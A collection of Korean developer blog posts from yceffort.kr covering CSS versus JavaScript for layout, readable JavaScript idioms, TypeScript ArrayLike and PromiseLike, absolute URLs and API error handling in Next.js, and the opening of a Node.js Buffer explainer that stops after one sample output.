레이아웃 문제로 인해 패키지를 설치하기전에, 반드시 내가 해결하고자 하는 문제가 무엇인지 명확히 할 필요가 있다. 이 레이아웃 문제를 해결하기 위한 가장 좋은 방법은 CSS다. [박스 위치 조정, 정렬, 사이즈](https://www.npmjs.com/package/flexibility) [문자열 오버플로우](https://www.npmjs.com/package/shave) 혹은 [레이아웃 시스템 전반](https://www.npmjs.com/package/lost)을 해결하기 위한 대부분의 자바스크립트 패키지들은 대부분 CSS로도 마찬가지로 해결할 수 있다. Flexbox, Grid와 같은 최신 레이아웃 엔진은 특별히 프레임워크가 필요 없을 정도로 잘 지원 된다. CSS가 곧 프레임워크다. CSS 내부에서 [feature queries](https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/)를 사용한다면, 점진적으로 레이아웃 문제를 해결하기에 유용하다.

```css
/* Your mobile-first, non-CSS grid styles goes here */

/* The @supports rule below is ignored by browsers that don't
   support CSS grid, _or_ don't support @supports. */
@supports (display: grid) {
  /* Larger screen layout */
  @media (min-width: 40em) {
    /* Your progressively enhanced grid layout styles go here */
  }
}
```

우리는 모든 브라우저에서 사이트가 동일하게 페이지가 보이도록 개발해야 한다. 2009년으로 시간을 되돌려보자. IE 보다 더 좋은 브라우저에서도, 그리고 IE6 에서도 똑같이 보이게 하는 일을 해야만 하곤 했다. 그리고 2021년 현재, 만약 우리가 모든 브라우저에서 동일하게 페이지를 보이는 것을 목표로 하고 있다면 이 목표를 수정할 필요가 있다.에버그린 브라우저가 할 수있는 일을 하지 못하는 일부 브라우저를 지원하는 일을 계속해서 지원해 나가야 한다. 모든 플랫폼에서 동일하게 보이길 바라는 것을 바라는 것은 헛된 노력이며, 점진적 향상을 이룩하는데 있어 걸림돌이 될 것이다.

## 자바스크립트를 그만 쓰자는 이야기는 아니다

자바스크립트에 악의가 있는 것은 아니다. 자바스크립트로 인해 많은 것을 배울 수 있었고, 해마다 할 수 있는 것도 많아지고 기능도 성숙해지고 있다.

그러나 자바스크립트와 의견이 다를 때가 종종있다. 자바스크립트에 대해 항상 비판적인 자세를 취해야 한다. 좀더 정확히 말하자면, 우리가 웹을 구축하기 위한 첫번째 수단으로 자바스크립트를 생각해서는 안된다. 뒤에서 엉킨 전선, 코드 줄을 뜯어보다보면 웹이 자바스크립트에 취해 (drunken) 있다는 것을 볼 때가 한두번이 아니다. 우리는 거의 모든 문제에 자바스크립트를 가져다 댄다. 우리는 이러한 자바스크립트의 과도한 '숙취'를 막기 위해 실용적으로 다가갈 필요가 있다.

---

Source: https://yceffort.kr/2021/11/human-readable-javascript.md
Title: 읽기 좋은 자바스크립트 코드 작성하기
Description: 나는야 자바스크립트 키보드 워리어
Date: 2021-11-10
Tags: javascript

다른 사람들이 읽기에 좋은 코드를 작성하는 것은 중요하다. 같은 일을 하는 코드라면, 성능에 크게 영향을 미치지 않는 한에서 읽기 쉬운 코드를 작성하는 것이 좋다. 읽기 쉬운 이란 무엇인가? 복잡한 것을 간단하게 보일 수 있는 코드다. 그러나 '간단함' 이라는 것은 무엇인가? 이는 보는 사람의 수준에 기초한다. 읽기 쉬운 코드를 작성하고자 할 때 우리는 무엇을 목표로 해야할까? 이에 대한 해답은 상황에 따라 다를 것이다.

자바스크립트 개발자의 개발 경험을 개선하기 위해, TC39는 꾸준히 새로운 기능을 ECMAScript에 추가해 왔다. ES2019에서 추가된 기능 중 하나는, [Array.prototype.flat()](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/flat) 이다. 이는 배열을 평평하게 만드는 역할을 담당하고 있다. 이 메소드가 존재하기 이전에는, 우리는 이 작업을 하기 위해 아래와 같이 코드를 작성해 왔다.

```javascript
let arr = [1, 2, [3, 4]]
let flatted1 = [].concat.apply([], arr)
let flatted2 = arr.flat()
```

`flat`을 사용한게 더 읽기 좋은가? 당연히 그 대답은 예스 일 것이다. 첫번째 코드는 알고리즘 테스트나 면접에서 볼 법한 코드로 한번에 코드의 목적을 이해하기 어렵다. 이 코드 중 어떤 코드가 더 읽기 쉬운지에 대한 대답은 뉴비나 전문가나 같을 것이다.

그러나 모든 개발자가 `flat()`의 존재를 아는 것은 아니다. 그러나 그 메소드의 존재를 알지 못하더라도, 메소드 자체가 기술 동사로 의미를 전달하기 때문에 보기만 해도 한눈에 알 수 있을 것이다. 이는 `concat.apply`보다 훨씬 더 직관적이다.

아마도 이러한 경우는 '어떤 코드가 더 읽기 좋은가' 의 질문에서 명확하게 대답할 수 있는 희귀한 케이스 일 것이다.

자바스크립트의 놀라운 점 중 하나는 바로 다재다능하다는 것이다. 이게 좋은 점이든 단점이든 간에, 암튼 다재다능하기 때문에 널리 사용되고 있을 것이다.

그러나 이러한 다재다능함과 함께 선택의 순간도 찾아온다. 여러가지 방법으로 동일한 코드를 작성할 수 있다. 우리는 과연 어떠한 방법이 옳은지 어떻게 결정할까?

자바스크립트 함수형 프로그래밍의 사례로 `map`을 살펴보자. `map`은 배열을 순회하면서 똑같은 길이의 배열을 만들 수 있다.

{/* prettier-ignore-start */}

```javascript
const arr = [1, 2, 3]
let double = arr.map(item => item * 2)
// double is [2, 4, 6]
```
{/* prettier-ignore-end */}

이제 다음 예제를 살펴보자.

```javascript
const arr = [1, 2, 3]
let double = arr.map((item) => item * 2)
```

두 예제의 차이점은 매개변수에 괄호가 있고 없고 일 뿐이다. 둘 이상의 매개변수가 있는 함수는 괄호를 항상 사용해야 하지만, 하나의 경우엔 그렇지 않다. 여기에 괄호를 넣어도 결과에는 차이가 없다. 단순히 prettier가 괄호가 없는 함수를 참지 못하는 것인가?

다른 예제를 살펴보자.

```javascript
let double = arr.map((item) => {
  return item * 2
})
```

이번에는 괄호와 return을 화살표 함수에 추가했다. 이제 좀 전통적인 함수 처럼 보이기 시작했다. 보통 함수 내부에 논리가 들어가야 한다면 이런식으로 작성한다.

```javascript
let double = arr.map(function (item) {
  return item * 2
})
```

자 이번엔 화살표 함수를 제거하고, 함수 키워드를 사용했다. 처음 코드를 작성했을 때 보다 복잡해졌는데, 이게 과연 나쁜 것일까?

```javascript
const timesTwo = (item) => item * 2
let double = arr.map(timesTwo)
```

이번엔 함수를 넘겨줬다. 함수 이름만 전달한다면 위와 같은 경우에는 문제가 발생하지 않는다. 하지만 이 코드가 혼란을 야기할 수 있지 않을까? `timesTwo`가 객체가 아닌 함수라는 것을 어떻게 확신할 수 있을까? `map`이라는 메소드가 이에 대한 힌트를 줄 수 있지만, 자세한 것을 알기엔 부족하다. `timesTwo`가 다른 곳에서 초기화 되거나 선언된다면 어떻게 되는가? 찾기 쉬워질까? 코드가 무엇을 하고 있고 어떤 영향을 미치지는지 확인하는 것은 매우 중요하다.

보는 것처럼, 명확한 대답은 없다. 그러나 코드 베이스에 적합한 선택을 한다는 것은 특정 동작을 수행하는 코드를 작성할 수 있는 모든 옵션과 그 한계를 명확히 이해한다는 것을 의미한다. 일관성을 유지하기 위해서는 괄호, 중괄호, return 키워드 등이 중요하다.

코드를 작성할 때는 항상 스스로에게 질문을 해야 한다. 가장 먼저 해야할 질문은 성능이다. 하지만 기능적으로, 그리고 성능적으로 동일한 코드를 볼 때는 인간이 코드를 읽는 방식으로 판단해야 한다.

```javascript
const {node} = exampleObject
```

위 코드는 변수를 초기화하고 할당하는 것을 모두 한줄에서 한다. 물론, 그렇게 할 필요는 없다.

```javascript
let node
;({node} = exampleObject)
```

이 코드도 같은일을 한다. 하지만 이 코드를 자세히 보면 어색한 점이 많다. 세미 콜론을 사용하지 않는 코드에 어색한 코드를 강제로 줄 시작에 붙인다. 명령을 괄호안에 넣고 또 중괄호로 묶었다. 중괄호가 무엇을 하는지는 전혀 알수 없다. 결론적으로, 읽기가 쉽지 않다.

```javascript
let node
node = exampleObject.node
```

반면에 이 코드는 무엇을 하는지 명확하고, 누가 봐도 이해할 수 있다. 꼭 구조 분해 할당이 있다고 해서, 꼭 그것을 사용해야하는 것은 아니다.

물론, 그렇다고 해서 위코드로 써야 한다는 것이 아니다. `let`이 있다면 코드를 읽는 사람은 항상 이 변수가 언제 어디서 재할당되는지 긴장감을 가지고 살펴봐야 한다. 따라서, 이 경우에는 구조 분해할당을 하는 것이 좋다.

이번엔 전개 연산자와 `concat`에 대해 알아보자.

전개 연산자는 ECMAScript에서 새로나온 기능으로, 코드에 널리 사용되고 있다. 다양한 작업을 할 수 있는데, 그중 하나가 두 배열을 합치는 것이다.

```javascript
const arr1 = [1, 2, 3]
const arr2 = [9, 11, 13]
const nums = [...arr1, ...arr2]
```

물론 자바스크립트 코드에 익숙한 사람이 본다면 쉽게 이해할 수 있지만, 그렇지 않다면 직관적으로 무엇을 하는지 이해하기 어렵다. 모든 사람이 자바스크립트 코드에 익숙하다면 상관없지만, 그렇지 않은 사람들에게 혼란을 빚을 수 있다. 이 경우에는, `concat`이 훨씬 직관적일 것이다.

```javascript
const arr1 = [1, 2, 3]
const arr2 = [9, 11, 13]
const nums = arr1.concat(arr2)
```

자바스크립트 코드를 짜고 있는 인적 요인이 코드 선택에 이런식으로 영향을 미칠 수 있다. 또 자바스크립트 코드가 최신 코드 베이스가 아니라면 보다 엄격하게 표준을 유지해야한다.

> 이와 별개로, 전개연산자는 성능에 그다지 좋지 못하다.

```javascript
const array1 = []
const array2 = []
const mergeCount = 50
let spreadTime = 0
let concatTime = 0

for (let i = 0; i < 10000000; ++i) {
  array1.push(i)
  array2.push(i)
}

// The spread syntax performance test.
for (let i = 0; i < mergeCount; ++i) {
  const startTime = performance.now()
  const array3 = [...array1, ...array2]

  spreadTime += performance.now() - startTime
}

// The concat performance test.
for (let i = 0; i < mergeCount; ++i) {
  const startTime = performance.now()
  const array3 = array1.concat(array2)

  concatTime += performance.now() - startTime
}

console.log(spreadTime / mergeCount)
console.log(concatTime / mergeCount)

/*
 * Performance results.
 * Browser           Spread syntax      concat method
 * --------------------------------------------------
 * Chrome 75         626.43ms           235.13ms
 * Firefox 68        928.40ms           821.30ms
 * Safari 12         165.44ms           152.04ms
 * Edge 18           1784.72ms          703.41ms
 * Opera 62          590.10ms           213.45ms
 * --------------------------------------------------
 */
```

> 따라서, 이 경우에는 `concat`을 쓰는 것이 좋다.

전문가는 스펙의 모든 부분을 사용하는 사람이 아니라, 현명하게 문법을 배치하고, 합리적인 결정을 내릴 수 있을 만큼 스펙을 이해하고 있는 사람이다. 우리 스스로가 전문가가 되기 위해서는 어떻게 해야할까? 코드를 작성해야 하는 것은 스스로에게 많은 질문을 하는 것을 의미하기도 한다. 이는 개발자가 다른 개발자를 고객으로 바라보고 고려하는 것을 의미하기도 한다. 작성할 수 있는 최상의 코드는 복잡한 기능을 수행하면서도, 다른 사람이 코드를 보고 쉽게 이해할 수 있도록 만드는 코드다. 그리고 이는 쉽지 않다. 그리고 대부분의 경우 명확한 답이 없다. 하지만 우리는 매번 코드를 쓸 때 이점을 뒤돌아 봐야 한다.

---

Source: https://yceffort.kr/2021/11/array-arraylike-promise-promiselike.md
Title: Array vs ArrayLike, Promise vs PromiseLike
Description: 이걸 유사 배열이?
Date: 2021-11-05
Tags: typescript

타입스크립트에는 `ArrayLike`라는게 존재한다. `Array`는 일반적인 배열을 의미하는데, `ArrayLike`는 무엇일까? 이를 알아보기 위해 `lib.es5.d.ts`에 가서 각각의 스펙을 살펴보자.

## Array

### `ArrayLike<T>`

```typescript
interface ArrayLike<T> {
  readonly length: number
  readonly [n: number]: T
}
```

### `Array<T>`

```typescript
interface Array<T> {
  /**
   * Returns the value of the first element in the array where predicate is true, and undefined
   * otherwise.
   * @param predicate find calls predicate once for each element of the array, in ascending
   * order, until it finds one where predicate returns true. If such an element is found, find
   * immediately returns that element value. Otherwise, find returns undefined.
   * @param thisArg If provided, it will be used as the this value for each invocation of
   * predicate. If it is not provided, undefined is used instead.
   */
  find<S extends T>(
    predicate: (this: void, value: T, index: number, obj: T[]) => value is S,
    thisArg?: any,
  ): S | undefined
  find(
    predicate: (value: T, index: number, obj: T[]) => unknown,
    thisArg?: any,
  ): T | undefined

  /**
   * Returns the index of the first element in the array where predicate is true, and -1
   * otherwise.
   * @param predicate find calls predicate once for each element of the array, in ascending
   * order, until it finds one where predicate returns true. If such an element is found,
   * findIndex immediately returns that element index. Otherwise, findIndex returns -1.
   * @param thisArg If provided, it will be used as the this value for each invocation of
   * predicate. If it is not provided, undefined is used instead.
   */
  findIndex(
    predicate: (value: T, index: number, obj: T[]) => unknown,
    thisArg?: any,
  ): number

  /**
   * Changes all array elements from `start` to `end` index to a static `value` and returns the modified array
   * @param value value to fill array section with
   * @param start index to start filling the array at. If start is negative, it is treated as
   * length+start where length is the length of the array.
   * @param end index to stop filling the array at. If end is negative, it is treated as
   * length+end.
   */
  fill(value: T, start?: number, end?: number): this

  /**
   * Returns the this object after copying a section of the array identified by start and end
   * to the same array starting at position target
   * @param target If target is negative, it is treated as length+target where length is the
   * length of the array.
   * @param start If start is negative, it is treated as length+start. If end is negative, it
   * is treated as length+end.
   * @param end If not specified, length of the this object is used as its default value.
   */
  copyWithin(target: number, start: number, end?: number): this
}
```

`Array`는 딱봐도 우리가 일반적으로 아는 배열에 들어가는 메소드들이 정의되어 있지만, `ArrayLike`는 그렇지 않다. `length`와 index로만 접근할 수 있도록 구현되어 있다. 이는 바로 우리가 잘 알고 있는 유사 배열 객체다. 배열 처럼 순회할 수 있지만, 그 뿐인 유사 배열 객체. 대표적으로는

- https://developer.mozilla.org/en-US/docs/Web/API/HTMLCollection
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments

가 있다.

## Promise

그렇다면 이번에는 `Promise`를 살펴보자.

### `Promise<T>` (lib.2018.promise.d.ts)

```typescript
interface Promise<T> {
  /**
   * Attaches a callback that is invoked when the Promise is settled (fulfilled or rejected). The
   * resolved value cannot be modified from the callback.
   * @param onfinally The callback to execute when the Promise is settled (fulfilled or rejected).
   * @returns A Promise for the completion of the callback.
   */
  finally(onfinally?: (() => void) | undefined | null): Promise<T>
}
```

### `Promise<T>` (lib.es5.d.ts)

```typescript
interface Promise<T> {
  /**
   * Attaches callbacks for the resolution and/or rejection of the Promise.
   * @param onfulfilled The callback to execute when the Promise is resolved.
   * @param onrejected The callback to execute when the Promise is rejected.
   * @returns A Promise for the completion of which ever callback is executed.
   */
  then<TResult1 = T, TResult2 = never>(
    onfulfilled?:
      ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
    onrejected?:
      ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null,
  ): Promise<TResult1 | TResult2>

  /**
   * Attaches a callback for only the rejection of the Promise.
   * @param onrejected The callback to execute when the Promise is rejected.
   * @returns A Promise for the completion of the callback.
   */
  catch<TResult = never>(
    onrejected?:
      ((reason: any) => TResult | PromiseLike<TResult>) | undefined | null,
  ): Promise<T | TResult>
}
```

### `PromiseLike<T>`

```typescript
interface PromiseLike<T> {
  /**
   * Attaches callbacks for the resolution and/or rejection of the Promise.
   * @param onfulfilled The callback to execute when the Promise is resolved.
   * @param onrejected The callback to execute when the Promise is rejected.
   * @returns A Promise for the completion of which ever callback is executed.
   */
  then<TResult1 = T, TResult2 = never>(
    onfulfilled?:
      ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
    onrejected?:
      ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null,
  ): PromiseLike<TResult1 | TResult2>
}
```

`Promise<T>`에는 `finally`만 있고, `PromiseLike<T>`에는 `then` 밖에 없다. 🤔 이 둘의 차이를 먼저 알 필요가 있다.

### `then` vs `finally`

- `finally`: promise가 처리되면 충족되거나 (resolve) 거부되거나 (reject) 상관없이 실행하는 콜백함수다. Promise의 성공적으로 수행되었는지, 거절되었는지에 관계없이 Promise가 처리된 후에 무조건 한번은 실행되는 코드다.
- `then`: 은 우리가 잘 아는 것처럼 Promise를 리턴하고 두개의 콜백함수를 받는다. 하나는 충족되었을 때 (`resolve`) 그리고 거부되었을 때 (`reject`)를 위한 콜백 함수다.

```javascript
p.then(onFulfilled, onRejected)

p.then(
  function (value) {
    // 이행
  },
  function (reason) {
    // 거부
  },
)
```

그리고 또한가지는 `finally`는 Promise 체이닝에서 결과를 받을 수 없다는 것이다.

```javascript
const result = new Promise((resolve, reject) => resolve(10))
  .then((x) => {
    console.log(x) // 10
    return x + 1
  })
  .finally((x) => {
    console.log(x) // undefined
    return x + 2
  })
// then에서 리턴했던 11을 resolve 한다.
result // Promise {<fulfilled>: 11}
```

또다른 차이는 에러핸들링과 Promise chaining이다. 만약 promise chaining에서 에러처리를 미루고 다른 어딘가에서 처리하고 싶다면, `finally`를 사용하면 된다.

```javascript
new Promise((resolve, reject) => reject(0))
  .catch((x) => {
    console.log(x) // 0
    throw x
  })
  .then((x) => {
    console.log(x) // Will not run
  })
  .finally(() => {
    console.log('clean up') // 'clean up'
  })
// Uncaught (in promise) 0
// try catch 로 잡으면 잡힌다!
```

끝으로 `finally`는 es2018에서 나온 메소드 이기 때문에 `lib.es2018.promise.d.ts`에 존재한다. https://2ality.com/2017/07/promise-prototype-finally.html

아무튼 다시 돌아가서, catch가 없는 `PromiseLike`는 왜 존재하는 것일까? 🤔 Promise가 정식 스펙이 되기 전, Promise를 구현하기 위한 다양한 라이브러리가 존재했다.

- https://promisesaplus.com/
- http://bluebirdjs.com/docs/getting-started.html

이들은 표준이전에 태어나 `catch` 구문없이 promise를 처리하고 있었고, 타입스크립트는
이를 지원하기 위해서 `PromiseLike`를 만든 것이었다.

따라서 `Promise` 뿐만 아니라 좀더 광의의 `Promise` (표준 이전에 만들어진 라이브러리로 만들어진 `Promise`)를 처리하기 위해서 `PromiseLike` 타입을 추가하게 된 것이다.

---

Source: https://yceffort.kr/2021/10/get-absolute-url-in-nextjs.md
Title: nextjs 서버사이드에서 absolute url 가져오기
Description: 이번 달 포스팅이 더디네요... 반성합니다.
Date: 2021-10-29
Tags: nextjs, backend

nextjs에서 fetch api를 사용하다가 깨닫는 점 하나는, (당연하지만) 서버와 클라이언트에서 fetch를 하는 방식을 다르게 가져가야 한다는 것이다. 무심코 평소에 하듯이 `fetch('/api/some/info')`를 하다보면, `getServerSideProps`나 `getInitialProps`에서 에러가 날 수 있다. fetch 를 할 때 놓치지 말아야 할 이 에러를 살펴보자.

## Absolute URL

서버사이드에서 절대 경로가 아닌 상대경로로 fetch 요청을 하면 (`/api/some/info`) Absolute URL이 필요하다는 에러가 뜬다. 클라이언트에서는 origin을 추론할 수 있기 때문에 상대경로로 요청을 해도 상관없지만, 서버사이드에서는 현재 주소가 무엇인지 알리가 없기 때문에 상대경로로 요청할 수 없다.

그렇다면 아래와 같이 처리해도 되는 것인가?

```typescript
async function getUser(id: number) {
  const response = await fetch(
    // 서버라면 강제로 우리가 알고 있는 absolute url을 주입
    typeof window === 'undefined'
      ? 'https://yceffort.kr'
      : '' + `/api/user/${id}`,
  )
  const result = await response.json()
  return result
}
```

absolute url, origin이 고정되어 있는 경우라면 괜찮겠지만 그렇지 않다면 이렇게 처리하는건 안전하지 못하다. 따라서 우리는 absolute URL을 추론해야 한다. 추론할 수 있는 가장 좋은 방법은, `ctx.req` 즉 [IncomingMessage](https://nodejs.org/api/http.html#class-httpincomingmessage)를 사용하는 것이다. 여기에는 요청과 관련한 정보가 포함되어 있는데, 이 요청이 날라온 곳이 absolute url이라고 가정하고 코딩하는 것이다.

```typescript
import {IncomingMessage} from 'http'

function getAbsoluteURL(req?: IncomingMessage) {
  // 로컬은 http, 프로덕션은 https 라는 가정
  const protocol = req ? 'https:' : 'http:'
  let host = req
    ? req.headers['x-forwarded-host'] || req.headers['host']
    : window.location.host

  // 주소에 local이라는 문자열이 들어가 있다면,
  // 또는 별도의 환경변수를 주입하고 있다면 그것을 사용해도된다.
  // process.env.RECT_APP_PROFILES === 'local'
  if ((host || '').toString().indexOf('local') > -1) {
    // 개발자 머신에서 실행했을 때 로컬
    host = 'localhost:3000'
  }

  return {
    protocol: protocol,
    host: host,
    origin: protocol + '//' + host,
  }
}
```

물론 이 방법도 완전하지는 못하다. 프로젝트의 상황에 따라 조금씩 다를 수 있다. 일단 프로토콜은 서버에서 추론할 수가 없는 부분이기 때문에 하드 코딩 형태의 추론이 필요하다.

그리고 `host`가 아닌 [`x-forwarded-host`](https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-Host)를 사용한 이유는 설명에도 나와있듯, 요청을 처리하는 원래 사용된 host를 확인하기 위해 사용하였다.

그리고 이제 fetch 함수는 `getAbsoluteURL`를 사용해야 한다.

```typescript
type FetchOptions = {
  req?: IncomingMessage
}

async function getUser(id: number, options?: FetchOptions) {
  const absoluteURL = getAbsoluteURL(options?.req).origin
  const response = await fetch(
    options?.req ? absoluteURL : '' + `/api/user/${id}`,
  )
  const result = await response.json()
  return result
}
```

```typescript
export const getServerSideProps: GetServerSideProps = async (ctx) => {
  const {req} = ctx
  const userId = ctx.query?.userId

  const user = await getUser(userId, {req})
  return {
    props: {
      user,
    },
  }
}
```

이제 서버에서 요청을 할때는 `req` 정보를 넘겨줘야 한다. 서버와 클라이언트 요청은 명확히 구별할 수 있으므로 크게 어렵지 않을 것이다.

## 또다른 방법

아무래도 하드 코딩이 들어가 있기 때문에, absolute url을 알아낼 수 있는 또다른 방법은 실행시에 환경변수로 주입하고, 이를 가져오는 것이다. 이 방법을 쓰고 있는 것이 [VERCEL](https://vercel.com/docs/concepts/projects/environment-variables)이다. `NEXT_PUBLIC_VERCEL_URL`를 사용하면 이 빌드가 실행되는 곳의 주소를 알아낼 수 있다.

물론 이는 devpos나 개발 환경에서 이러한 정보를 제공할 수 있는 환경 구축이 선행되어야 한다.

---

Source: https://yceffort.kr/2021/10/api-error-handling-nextjs.md
Title: 클라이언트 서버 모두에서 nextjs에서 api에러 핸들링하기
Description: 결국 여기까지 와버렸네
Date: 2021-10-22
Tags: nextjs, error-handling, typescript

## Table of Contents

nextjs로 동작하는 일반적인 애플리케이션을 상상하자면, 아래와 같은 요소를 가정하고 개발할 수 있을 것이다.

- api 호출이 있으며, 경우에 따라서 api 호출 과정에서 인증 등의 에러가 발생함
  - 위 인증 에러가 발생할 경우, 원래 가려던 페이지가 아닌 특정 페이지로 이동시켜야 함
- api 호출은 서버사이드, 클라이언트 사이드에서 모두 일어날 수 있으며 두 경우에 모두 위 처리를 해야함

## 1. 에러 정의

먼저 api 호출시 발생할 수 있는 에러에 대해 정의해야 한다. 가장 일반적인 에러는 인증 에러가 있을 것이다. api 호출시 정상적인 응답 (200) 이 아닌, 에러 응답이 왔을 때 에러를 throw 하는 코드를 짜보자.

### error.ts

```typescript
export function isInstanceOfAPIError(object: unknown): object is ApiError {
  return (
    object instanceof ApiError &&
    ('redirectUrl' in object || 'notFound' in object)
  )
}

export class ApiError extends Error {
  redirectUrl: string = ''

  notFound: boolean = false
}

export class NotFoundError extends ApiError {
  name = 'NotFoundError'

  message = '찾을 수 없습니다.'

  notFound = true
}

export class ForbiddenError extends ApiError {
  name = 'ForbiddenError'

  message = '인증처리에 실패했습니다.'

  redirectUrl = '/error'
}

export class AuthError extends ApiError {
  name = 'AuthError'

  message = '인증되지 않은 사용자입니다.'

  redirectUrl = '/auth'
}
```

일단 자바스크립트의 기본 Error Class를 확장해서 우리가 사용할 커스텀 에러를 만들었다.

### api.ts

```typescript
import axios, {AxiosRequestConfig, AxiosResponse} from 'axios'
import {AuthError, ForbiddenError} from './error'

// axios는 400 이상의 status 가 오면 다 에러를 리턴한다.
// 이를 커스텀 할 수 있도록 하여 개발자가 정의한 에러일 때만 에러를 던질 수 있도록 인수를 받는다.
export interface RequestConfig extends AxiosRequestConfig {
  suppressStatusCode?: number[]
}

// axios에 넣을 interceptor.응답에 따라 각각 다른 처리를 한다.
// 굳이 axios가 아니더라도 다른 처리를 할 수 있음.
function AxiosAuthInterceptor<T>(response: AxiosResponse<T>): AxiosResponse {
  const status = response.status

  if (status === 404) {
    throw new NotFoundError()
  }

  if (status === 403) {
    throw new ForbiddenError()
  }

  if (status === 401) {
    throw new AuthError()
  }

  return response
}

export default async function withAxios(requestConfig: RequestConfig) {
  const instance = axios.create()

  instance.interceptors.response.use((response) =>
    AxiosAuthInterceptor(response),
  )

  const response = await instance.request({
    ...requestConfig,
    baseURL: `${!process.browser ? HOST_URL : ''}/api`,
    validateStatus: (status) =>
      [...(requestConfig.suppressStatusCode || [])].includes(status) ||
      status < 500,
  })

  return response
}
```

이제 api는 준비되었으니, 에러를 핸들링할 준비를 해보자.

## 2. 에러 핸들링

`getServerSideProps`는 서버에서 별도로 실행되는 영역이므로, 여기에서 그냥 throw error가 발생하면 nextjs의 에러페이지에 도착해버릴 것이다. 따라서 이를 적절하게 처리해줄 필요가 있다.

### withServerSideProps

```typescript
import {GetServerSideProps, GetServerSidePropsContext} from 'next'
import {ApiError, isInstanceOfAPIError} from './error'

export default function withGetServerSideProps(
  getServerSideProps: GetServerSideProps,
): GetServerSideProps {
  return async (context: GetServerSidePropsContext) => {
    try {
      // getServerSideProps를 평소대로 실행
      // await 를 꼭 붙여서 try catch에서 에러가 잡히도록
      return await getServerSideProps(context)
    } catch (error) {
      // apiError라면
      if (isInstanceOfAPIError(error)) {
        const {redirectUrl, notFound} = error
        // 404로 보내거나
        if (notFound) {
          return {
            notFound: true,
          }
        }
        // 원하는 페이지로 보낸다.
        // https://nextjs.org/docs/basic-features/data-fetching#getserversideprops-server-side-rendering 참고
        return {
          redirect: {
            destination: redirectUrl,
            permanent: false,
          },
        }
      }

      console.error('unhandled error', error)

      throw error
    }
  }
}
```

에러를 처리할 higher order component를 만들었으니, 이제는 getServerSideProps를 이 컴포넌트로 감싸주기만 하면 된다.

```typescript
import Head from 'next/head'
import { GetServerSideProps } from 'next'
import styles from '../styles/Home.module.css'
import withGetServerSideProps from '../withServerSideProps'

export default function Home() {
  return (
    <div>
      <h1>결과</h1>
    </div>
  )
}

export const getServerSideProps: GetServerSideProps = withGetServerSideProps(
  async (ctx) => {
    const { status = 200 } = ctx.req?.query
    const response = await fetch(`/api/hello?status=${status}`)

    const result = await response.json()

    return {
      props: {
        result,
      },
    }
  },
)
```

이제 `getServerSideProps`를 사용할 때 `withGetServerSideProps`로 감싸준다면, api에서 에러가 나도 적절하게 redirect 처리를 해줄 것이다.

### 클라이언트

이제 똑같이 클라이언트에서도 처리가 필요하다. 여기에서는 ErrorBoundary를 사용할 것이다.

```typescript
import Router from 'next/router'
import { isInstanceOfAPIError } from './error'
import Error from './pages/error'
import Page404 from './pages/404'

type ErrorBoundaryProps = React.PropsWithChildren<{}>

interface ErrorBoundaryState {
  error: Error | null
}

const errorBoundaryState: ErrorBoundaryState = {
  error: null,
}

export default class ErrorBoundary extends React.Component<
  ErrorBoundaryProps,
  ErrorBoundaryState
> {
  constructor(props: ErrorBoundaryProps) {
    super(props)
    this.state = errorBoundaryState
  }

  static getDerivedStateFromError(error: Error) {
    console.error(error)
    return { error }
  }

  private resetState = () => {
    this.setState(errorBoundaryState)
  }

  private setError = (error: Error) => {
    console.error(error)

    this.setState({ error })
  }

  // 전역 에러 중 캐치하지 못한 에러
  private handleError = (event: ErrorEvent) => {
    this.setError(event.error)
    event.preventDefault?.()
  }

  // promise 중 캐치하지 못한 rejection
  private handleRejectedPromise = (event: PromiseRejectionEvent) => {
    event?.promise?.catch?.(this.setError)
    event.preventDefault?.()
  }

  componentDidMount() {
    window.addEventListener('error', this.handleError)
    window.addEventListener('unhandledrejection', this.handleRejectedPromise)

    Router.events.on('routeChangeStart', this.resetState)
  }

  componentWillUnmount() {
    window.removeEventListener('error', this.handleError)
    window.removeEventListener('unhandledrejection', this.handleRejectedPromise)

    Router.events.off('routeChangeStart', this.resetState)
  }

  render() {
    const { error } = this.state

    if (isInstanceOfAPIError(error)) {
      const { redirectUrl, notFound } = error

      if (notFound) {
        return <Page404 />
      }

      if (redirectUrl) {
        window.location.href = redirectUrl
      }

      return <Error />
    }

    console.log('unhandled client error')

    return this.props.children
  }
}
```

이제 클라이언트와 서버사이드 모두에서 우리가 공통으로 정의한 에러에 대해 처리를 할 수 있게되었다.

## 3. 더 해볼 수 있는 것들

공통으로 정의된 에러페이지에, 메시지만 다르게 띄우고 싶으면 어떻게 해야할까? 사전에 정의된 에러를 쿼리메시지로 보내서 해당 에러에 대한 적절한 메시지로 띄우거나 하는 방법이 있을 것이다. 그리고 이렇게 정의된 에러, 혹은 정의되지 않은 에러가 발생했을 경우 단순히 `console.log` 방식의 에러가 아닌 적절한 logger를 도입해도 좋을 것이다. 물론, 클라이언트와 서버에서의 에러 수집 정책 내지는 방법론이 다를 것이므로 이에 대한 고민도 필요하다.

---

Source: https://yceffort.kr/2021/10/understanding-of-nodejs-buffer.md
Title: nodejs의 버퍼 이해하기
Description: nodejs로 백엔드하는 회사 찾습니다
Date: 2021-10-15
Tags: nodejs, backend

## Table of Contents

## 버퍼란 무엇인가

Nodejs에서 buffer는 raw 바이너리 데이터를 저장할 수 있는 특수한 유형의 객체다. 버퍼는 일반적으로 컴포터에 할당된 메모리 청크, 일반적으로 RAM을 나타낸다. 일단 버퍼크기를 설정하게 되면, 이후에는 변경할 수 없다.

버퍼는 바이트를 저장하는 단위라고 볼 수 있다. 그리고 바이트는 8비트 순서로 이루어져있다. 비트는 컴퓨터의 가장 기본적인 저장 단위이며, 0 또는 1로 이루어져 있다.

Nodejs는 버퍼클래스를 전역 스코프에 expose 하므로 `import`나 `require`를 할 필요가 없다. 이 클래스를 활용하면 raw 바이너리를 조작할 수 있는 함수와 추상화등을 얻을 수 있다.

nodejs의 버퍼를 먼저 살펴보자.

```bash
<Buffer 79 63 65 66 66 6f 72 74>
```

